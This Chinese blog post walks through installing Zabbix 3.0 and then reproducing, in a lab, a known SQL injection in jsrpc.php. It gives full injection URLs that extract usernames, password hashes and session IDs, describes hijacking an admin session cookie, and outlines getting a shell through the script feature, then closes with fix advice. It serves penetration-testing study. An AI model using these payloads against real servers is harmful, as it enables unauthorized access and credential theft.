记一次zabbix安装及漏洞利用getshell全过程

2019-12-04 约 278 字 预计阅读 2 分钟

声明:本文 【记一次zabbix安装及漏洞利用getshell全过程】 由作者 酒与细雨中 于 2019-12-04 09:34:00 首发 先知社区 曾经 浏览数 484 次

感谢 酒与细雨中 的辛苦付出!

1 前言

Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。可用于监视各种网络服务、服务器和网络机器等状态。本着其开源、安装简单等特点被广泛使用。

但zabbix 2.2.x, 3.0.0-3.0.3版本存在SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。最近复现了这个漏洞,彻底搞懂了如何利用zabbix漏洞进入后台直到getshell。这里就来记录下,小白篇,大牛请绕过。

2 安装

环境:centos6.5

PHP >= 5.4 (CentOS6默认为5.3.3,需更新)
curl >= 7.20 (如需支持SMTP认证,需更新)

安装版本zabbix3.0

关闭selinux

修改/etc/sysconfig/selinux
将SELINUX=enforcing,改为SELINUX=disabled然后重启
查看状态:getenforce

安装

rpm -ivh http://dev.mysql.com/get/mysql-community-release-el6-5.noarch.rpm
yum install mysql-server -y  #此过程会因为网路问题偏慢,请耐心等待

配置

vim /etc/my.cnf  
[mysqld]
innodb_file_per_table

启动

service mysqld start

设置root密码

mysql_secure_installation 


Enter current password for root (enter for none):
Set root password? [Y/n]
Remove anonymous users? [Y/n]
Disallow root login remotely? [Y/n]
Remove test database and access to it? [Y/n]
Reload privilege tables now? [Y/n]

创建zabbix数据库

mysql -uroot -p
mysql> CREATE DATABASE zabbix CHARACTER SET utf8 COLLATE utf8_bin;
mysql> GRANT ALL PRIVILEGES ON zabbix.* TO zabbix@localhost IDENTIFIED BY 'zabbix';
mysql> show databases;   
+--------------------+     
| Database           |     
+--------------------+     
| information_schema |     
| mysql              |     
| zabbix             |     
+--------------------+

迁出RPM安装包

git clone https://github.com/zabbixcn/zabbix3.0-rpm.git
cd  zabbix3.0-rpm/RPMS
yum install zabbix-web-mysql-3.0.0-1.el6.noarch.rpm zabbix-web-3.0.0-1.el6.noarch.rpm

安装软件源

rpm -ivh http://repo.webtatic.com/yum/el6/latest.rpm

安装PHP 5.6

yum install httpd php56w php56w-mysql php56w-gd php56w-imap php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mcrypt php56w-mbstring php56w-devel php56w-pecl-memcached  php56w-common php56w-pdo php56w-cli php56w-pecl-memcache php56w-bcmath php56w-fpm

安装curl

git clone https://github.com/zabbixcn/curl-rpm
cd curl-rpm/RPMS 
yum install curl-7.29.0-25.el6.x86_64.rpm  libcurl-7.29.0-25.el6.x86_64.rpm  libcurl-devel-7.29.0-25.el6.x86_64.rpm

安装Zabbix-Server

yum -y install http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm

配置数据库连接信息

vi /etc/zabbix/zabbix_server.conf
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix

启动Zabbix-Server

/etc/init.d/zabbix-server start

启动Apache

/etc/init.d/httpd start

安装zabbix-agent源码

rpm -ivh http://repo.zabbix.com/zabbix/2.4/rhel/6/x86_64/zabbix-release-2.4-1.el6.noarch.rpm

安装zabbix客户端

yum install zabbix-agent -y

启动服务

service zabbix-agent start
chkconfig zabbix-agent on

最后浏览器访问http://IP/zabbix进行配置即可。

3 漏洞利用

测试环境:

攻击机win7 ip:192.168.10.138

靶机centos6.5 ip:192.168.10.131

攻击机已知靶机ip,且靶机系统未关闭默认开启guest账户登陆。

在攻击机访问的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

输出结果,若包含:You have an error in your SQL syntax;表示漏洞存在。

实操:

zabbix 默认账户Admin密码zabbix,可以先尝试一波弱口令可能有意外收获。如果不行可以利用jsrpc的profileIdx2参数sql注入,具体操作如下:

  • 获取用户名
jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

  • 获取密码
jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

  • 获取sessionid
http://192.168.10.131/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

用户名密码及sessionid值都已得到,可以先对密码md5解密,解密成功可直接进入后台。解密不成功可以用sessionid值进行Cookie欺骗替换zbx_sessionid即可成功以administrator登陆。这里利用Cookie欺骗进行测试,经过御剑扫描发现setup.php页面,但是没有权限登陆。

我们把这个页面的zbx_sessionid替换成注入出来的sessionid值,刷新后即可看到安装页面。

此时再次访问http://192.168.10.131/zabbix/,即可成功进入后台。

接下来我们尝试利用后台script功能获取其操作系统权限。

首先在Administration页面的scrpit功能栏创建script如下:

然后重点在于找触发点,找到触发点才能执行。方法很多,这里拿常用的举例。

执行成功后即可getshell。

ps:如果执行脚本报错Remote commands are not enabled需要在靶机的配置文件zabbix_agentd.conf中添加下面语句,开启对远程命令的支持,添加完成后重启下服务即可。

EnableRemoteCommands = 1

4 修复建议

1.更新到最新版本

2.禁用guest登陆功能

3.禁用远程命令

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now